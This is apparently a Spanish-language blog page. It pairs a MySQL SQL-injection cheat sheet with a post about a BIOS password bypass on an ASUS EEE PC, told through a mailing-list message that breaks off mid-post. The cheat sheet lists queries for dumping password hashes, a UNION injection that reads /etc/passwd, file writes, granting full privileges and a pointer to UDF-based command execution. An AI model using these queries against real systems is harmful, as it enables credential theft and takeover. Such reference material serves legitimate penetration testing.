Versión | SELECT @@version |
Comentarios | SELECT 1; #comentario SELECT /*comentario*/1; |
Usuario Actual | SELECT user(); SELECT system_user(); |
Listar Usuarios | SELECT user FROM mysql.user; — priv |
Listar Hashes de Passwords | SELECT host, user, password FROM mysql.user; — priv |
Crackear Passwords | John the Ripper crackea hashes de MySQL. |
Listar privilegios | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns |
Listar cuentas DBA | SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’; SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv |
Base de Datos Actual | SELECT database() |
Listar Bases de Datos | SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv |
Listar Columnas | SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Listar Tablas | SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ |
Encontrar Tablas apartir de un nombre de Columna | SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — en cuentra las tablas con columnas llamadas ‘username’ |
Seleccionar la N Fila | SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # filas numeradas desde 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # filas numeradas desde 0 |
Seleccionar el N caracter | SELECT substr(‘abcd’, 3, 1); # devuelve c |
AND Bit a Bit | SELECT 6 & 2; # devuelve 2 SELECT 6 & 1; # devuelve 0 |
Valor ASCII -> Caracter | SELECT char(65); # devuelve A |
Char -> ASCII Value | SELECT ascii(‘A’); # returns 65 |
Casting | SELECT cast(‘1′ AS unsigned integer); SELECT cast(‘123′ AS char); |
Concatenación de cadenas | SELECT CONCAT(‘A’,’B’); #devuelve AB SELECT CONCAT(‘A’,’B’,’C’); # devuelve ABC |
Sentencia IF | SELECT if(1=1,’foo’,’bar’); — devuelve ‘foo’ |
Sentencia CASE | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # devuelve A |
Evitar Comillas | SELECT 0×414243; # devuelve ABC |
Demora de Tiempo | SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12 |
Hacer Peticiones DNS | ¿Imposible? |
Ejecución de Comandios | Si mysqld (<5.0) se ejecuta como root Y te haces con una cuenta DBA podrás ejecutar comandos del SO subiendo un archivo compartido a /usr/lib(o similar). El archivo .so debe contener una Función de Usuario Definida (UDF). raptor_udf.c explica exactamente como puedes hacerlo. Recuerda compilar para la arquitectura del objetivo pues no tiene porque ser la misma que la del atacante. |
Acceso a Archivos Locales | …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, solo puede leer archivos de lectura universales. SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, escribir en archivo de sistema |
Hostname, Dirección IP | ¿Imposible? |
Crear Usuarios | CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv |
Borrar Usuarios | DROP USER test1; — priv |
Make User DBA | GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv |
Localización de los archivos de BD | SELECT @@datadir; |
Default/System Databases | information_schema (>= mysql 5.0) mysql |
Fallo de Seguridad en EEE PC
Tengo un ASUS EEE PC 1000H, el cual hasta hace poco tenía protegido por contraseña en la BIOS, por lo que pensaba que era totalmente invulnerable a cualquier ataque directo sin mi consentimiento.
Estoy apuntado a la lista de correo de HAMLAB, y anoche me llegaba el siguiente mensaje:
Hola chicas,
esta semana, es mi semana de suerte «casual hack»,
que significa que estoy descubriendo vulnerabilidades por pura casualidad. 😛
Bueno, que hace unos minutos acabo de descubrir algo que me ha dejado flipado y me gustaría que colaboraseis a modo de encuesta.
Resulta que tengo puesta una password de acceso en la B.I.O.S. de mi ASUS eeepc 904HD, pues bien, si introduces la password mal, te da otro intento, y asi tres veces hasta que se queda bloqueado.. y hay que reiniciar. hasta aqui, OK todo correcto.
Pues bien,
<IRONIC MODE>
Resulta que si en cualquiera de los intentos introduces la siguiente y complicada secuencia mono-caracter:
«PULSAR ENTER».
(si si pero literal, solamente tienes que pulsar «ENTER»…)
voilà, ya estás dentro.
A tomar vientos mi proteccion de password por BIOS,
</IRONIC MODE>
y yo que andaba tan tranquilo pensando que nadie podría ver el contenido de mi /home sin mi permiso…
(más…)